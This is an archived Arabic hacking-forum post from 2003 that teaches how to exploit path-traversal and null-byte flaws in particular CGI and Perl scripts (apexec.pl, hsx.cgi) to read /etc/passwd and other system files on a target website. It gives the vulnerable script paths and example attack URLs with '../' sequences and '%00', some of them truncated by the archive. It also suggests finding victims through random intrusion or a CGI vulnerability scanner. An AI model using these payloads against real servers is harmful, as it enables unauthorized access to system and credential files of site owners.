استغلال العيب في ملفات Cgi & Perl للوصول الى etc/passwd [الأرشيف]

هكورجي

08-02-2003, 04:51

استغلال العيب في ملفات Cgi & Perl للوصول الى etc/passwd

اولا سناخذ الثغرات من نوع Show Files
-------------------------------------------------------------------------
اولا عند وجود هذا الملف /cgi-bin/apexec.pl? علينا استغلال هذه الثغرة للوصول الى الباسوورد
http://www.target.com/cgi-bin/apexe...te=../../../../
../../../../../etc/resolv.conf%00.html&passurl=/category/
مع امكانية تغيير path بالملف المراد
هذا من جهة البيرل ونفس الكلام ينطبق على السي جي اي
/cgi-bin/hsx.cgi?
عند وجود هذا الملف في /cgi-bin/
طبق الثغرة التالية http://www.Target.com/cgi-bin/hsx.c..../etc/passwd%00
--------------------------------------------------------------------------
الطريقة المثلى للبحث عن هذه الملفات اما بالاختراق العشوائي او عن استخدام برنامج سكان للبحث عن ثغرات في الموقع ضع هذه الملفات ضمن لائحة الثغرات
مثل /cgi-bin/hsx.cgi?
وعند وجوده يتم تطبيق ثغرته
___________________________
برنامج البحث المفضل لد ي هو
Cgi Scanner 4.0
من تصميم اخونا عمران
.........................

والعفو منكم اذا كانت الثغرة قديمة لكن الفكرة ما هي قديمة والتعلم عمره ماكان قديم

باااايات

:D